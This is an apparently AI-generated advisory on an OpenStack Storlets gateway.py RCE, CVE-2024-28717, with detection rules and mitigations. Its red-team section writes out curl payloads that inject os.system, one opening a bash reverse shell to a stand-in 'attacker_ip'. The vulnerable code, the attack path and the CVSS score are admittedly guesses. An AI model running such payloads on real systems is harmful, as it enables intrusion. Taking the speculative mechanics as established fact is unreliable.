CVE-2024-28717

Executive Summary

CVE-2024-28717 identifies a critical remote code execution (RCE) vulnerability in OpenStack Storlets, specifically within the gateway.py component. The vulnerability affects the "yoga-eom" release and allows an unauthenticated remote attacker to execute arbitrary code on the target system. This flaw poses a severe risk to cloud infrastructure deployments using OpenStack Storlets, as it can lead to full compromise of the storage gateway and potentially the entire OpenStack environment. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for defenders.

Supply Chain & Package Security

OpenStack Storlets is a Python-based component that provides serverless compute capabilities for object storage. The vulnerability resides in the gateway.py module, which is part of the core Storlets package. Since no patch or advisory has been released, organizations using the "yoga-eom" release must treat this as an unpatched supply chain risk. The lack of OSV or GitHub advisory data further complicates remediation efforts.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the vulnerability (remote code execution via gateway.py), the following estimated vector is provided:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – Likely no special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the gateway.py module of OpenStack Storlets, which acts as an API gateway for executing serverless functions (storlets) on object storage. The flaw likely stems from improper input validation or deserialization of user-supplied data, allowing an attacker to inject arbitrary Python code that is executed by the gateway process.

Attack Vector:
An attacker sends a specially crafted HTTP request to the Storlets gateway endpoint. The request contains malicious payloads in parameters such as function names, arguments, or metadata. The gateway.py module fails to sanitize these inputs, leading to code injection.

Impact:
Successful exploitation grants the attacker the ability to execute arbitrary commands with the privileges of the Storlets gateway process (typically root or a service account). This can lead to:

• Full control over the storage gateway.
• Access to all object storage data.
• Lateral movement to other OpenStack services.
• Persistence via backdoors.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on common RCE patterns in Python web applications, the vulnerable code likely resembles:

# Vulnerable code (hypothetical)
def handle_request(request):
    function_name = request.get('function')
    # Directly executing user input without sanitization
    exec(f"run_{function_name}()")

A patched version would use a whitelist or safe evaluation:

# Patched code (hypothetical)
ALLOWED_FUNCTIONS = ['list', 'get', 'put']
def handle_request(request):
    function_name = request.get('function')
    if function_name not in ALLOWED_FUNCTIONS:
        raise ValueError("Invalid function")
    # Safe execution
    getattr(self, f"run_{function_name}")()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable OpenStack Storlets "yoga-eom" instance.
• Network access to the gateway endpoint (typically port 8080 or 443).

Exploitation Steps:

1. Reconnaissance: Identify the Storlets gateway endpoint. Example: http://target:8080/v1/storlets

2. Craft Payload: Inject Python code via a vulnerable parameter. Example using function parameter:

curl -X POST http://target:8080/v1/storlets \
  -H "Content-Type: application/json" \
  -d '{"function": "__import__(\"os\").system(\"id\")"}'

3. Verify Execution: Check for command output in the response or logs.

4. Establish Persistence: Deploy a reverse shell:

curl -X POST http://target:8080/v1/storlets \
  -H "Content-Type: application/json" \
  -d '{"function": "__import__(\"os\").system(\"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\")"}'

Note: No public exploit code is available; this is a hypothetical example.

Blue Team

Detection & Response:

1. Monitor Gateway Logs: Look for unusual function names or error messages in /var/log/storlets/gateway.log.

2. Network Traffic Analysis: Detect anomalous POST requests to /v1/storlets with JSON payloads containing Python keywords like __import__, os.system, or exec.

3. Honeypot Deployment: Set up a decoy Storlets gateway to capture exploitation attempts.

4. Immediate Containment: If exploitation is detected, isolate the affected gateway instance and revoke its access to object storage.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /v1/storlets with JSON payloads containing __import__, os.system, subprocess, or eval.
  • Outbound connections to unknown IP addresses on high ports (e.g., 4444, 1337).

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ with names like storlet_*.py.
  • Modified gateway.py or new .pyc files in the Storlets installation directory.

• Process IOCs:

  • Unusual child processes spawned by the Storlets gateway (e.g., bash, nc, python with reverse shell arguments).

• Log IOCs:

  • Error logs containing SyntaxError or NameError in /var/log/storlets/gateway.log.
  • Repeated failed authentication attempts to the gateway API.

Detection Engineering

YARA Rule

rule CVE_2024_28717_Storlets_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-28717 in OpenStack Storlets gateway.py"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28717"
    strings:
        $python_injection = /__import__\(|os\.system\(|subprocess\.call\(|eval\(/
        $storlets_path = /gateway\.py/
        $json_payload = /"function"\s*:\s*"[^"]*__import__/
    condition:
        any of ($python_injection) and $storlets_path or $json_payload
}

Sigma Rule

title: CVE-2024-28717 OpenStack Storlets RCE Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to Storlets gateway with potential code injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/storlets'
        cs-uri-query|contains: 
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'eval'
    condition: selection
falsepositives:
    - Legitimate use of Python functions in Storlets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28717 OpenStack Storlets RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/v1/storlets"; http_uri;
    content:"__import__"; http_client_body;
    content:"os.system"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-28717;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vulnerable Instances: Disconnect the Storlets gateway from the network if possible.
2. Apply Workarounds: Implement a Web Application Firewall (WAF) rule to block POST requests containing Python injection patterns (e.g., __import__, os.system).
3. Restrict Access: Use network ACLs to limit access to the gateway API to trusted IPs only.

Long-Term Fix:

• Monitor the OpenStack security mailing list and the Storlets GitHub repository for an official patch.
• Upgrade to a patched version once released.
• Conduct a code audit of gateway.py to identify and fix input validation flaws.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.